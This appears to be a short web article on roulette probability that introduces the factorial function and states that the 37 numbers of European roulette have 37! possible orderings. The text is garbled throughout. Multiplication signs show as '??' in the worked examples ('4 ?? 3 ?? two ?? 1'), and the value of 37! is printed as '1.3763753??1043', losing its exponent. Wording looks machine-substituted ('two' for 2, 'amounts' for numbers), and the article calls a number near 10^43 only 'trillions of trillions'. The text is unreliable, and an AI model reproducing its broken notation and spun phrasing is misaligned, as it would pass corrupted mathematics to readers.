Despite all of the discussion about probabilities and statistics, it looks like few people may really calculate mathematically the chance of any roulette result. Sometimes they resort to excel or use specialized applications, trying to test millions of spins so as to think of the right number. When someone understands basic probability, an individual can answer almost any question regarding the certainty of any result using only a simple calculator or just place the equation for a formula in a simple excel document.
First we have to know what’s exactly the the factorial function, which has the symbol:!
It means to multiply a series of descending natural amounts.
Examples:
4! = 4 ?? 3 ?? two ?? 1 7! = 7 ?? 6 ?? 5 ?? 4 ?? 3 ?? two ?? 1 = 5040
1! = 1
0! =1 (axiomatically)
Practically for roulette purposes, a factorial shows how many different ways, different items (or numbers) can be organized. Without repetitions of the same item or number. To give you an idea how huge this number is now, for 37 numbers, such as in Western roulette:
37! = 1.3763753??1043
This means there are many trillions of trillions of different arrangements of the 37 roulette numbers. Without counting the possible repetitions of amounts. Just how many distinct ways (sequences) each of the roulette numbers can appear in 37 spins.
